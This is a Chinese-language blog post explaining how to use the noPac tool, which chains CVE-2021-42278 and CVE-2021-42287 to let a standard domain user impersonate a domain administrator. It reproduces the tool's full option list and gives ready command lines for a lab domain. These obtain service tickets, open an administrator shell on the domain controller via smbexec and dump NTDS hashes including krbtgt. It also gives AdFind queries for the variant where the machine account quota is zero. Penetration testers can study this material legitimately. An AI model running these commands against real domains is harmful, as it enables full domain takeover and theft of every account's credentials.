利用CVE-2021-42278和CVE-2021-42287從標準域用戶模擬 DA
VSole2022-10-12 07:08:25
利用 CVE-2021-42278 和 CVE-2021-42287 從標準域用戶模擬 DA,該項目修改自 sam-the-admin。
項目地址:
https://github.com/Ridter/noPac https://github.com/cube0x0/noPac https://github.com/WazeHell/sam-the-admin
0x01 用法
SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain
positional arguments: [domain/]username[:password] Account used to authenticate to DC.
optional arguments: -h, --help show this help message and exit --impersonate IMPERSONATE target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified -domain-netbios NETBIOSNAME Domain NetBIOS name. Required if the DC has multiple domains. -target-name NEWNAME Target computer name, if not specified, will be random generated. -new-pass PASSWORD Add new computer password, if not specified, will be random generated. -old-pass PASSWORD Target computer password, use if you know the password of the target you input with -target-name. -old-hash LMHASH:NTHASH Target computer hashes, use if you know the hash of the target you input with -target-name. -debug Turn DEBUG output ON -ts Adds timestamp to every logging output -shell Drop a shell via smbexec -no-add Forcibly change the password of the target computer. -create-child Current account have permission to CreateChild. -dump Dump Hashs via secretsdump -use-ldap Use LDAP instead of LDAPS
authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful for -k) -k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) -dc-host hostname Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used -dc-ip ip IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
execute options: -port [destination port] Destination port to connect to SMB Server -mode {SERVER,SHARE} mode to use (default SHARE, SERVER needs root!) -share SHARE share where the output will be grabbed from (default ADMIN$) -shell-type {cmd,powershell} choose a command processor for the semi-interactive shell -codec CODEC Sets encoding used (codec) from the target's output (default "GBK"). -service-name service_name The name of theservice used to trigger the payload
dump options: -just-dc-user USERNAME Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch -just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys) -just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only) -pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data -user-status Display whether or not the user is disabled -history Dump password history, and LSA secrets OldVal -resumefile RESUMEFILE resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state -use-vss Use the VSS method insead of default DRSUAPI -exec-method [{smbexec,wmiexec,mmcexec}] Remote exec method to use at target (only when using -use-vss). Default: smbexec
注意:如果沒有指定-host-name,工具會自動獲取域控制主機名,請選擇-dc-ip指定的主機的主機名。如果未指定 --impersonate,該工具將隨機選擇要利用的域管理員。默認使用 ldaps,如果遇到 ssl 錯誤,請嘗試添加 -use-ldap 。
獲取ST
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

自動獲取Shell
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator

轉儲哈希
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dumppython noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

0x02 掃描器
python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

0x03 MAQ = 0
方法一
找到當前用戶可以修改的計算機。
AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user -recmute

Exp:添加 -no-add 并使用 -target-name .
python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell

警告!!請勿通過ldaps或samr修改域內計算機的密碼,可能會破壞計算機與主域之間的信任關系!!
方法二
找到 CreateChild 賬號,并使用該賬號進行漏洞利用。
AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute

Exp:添加 -create-child
python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child

VSole
網絡安全專家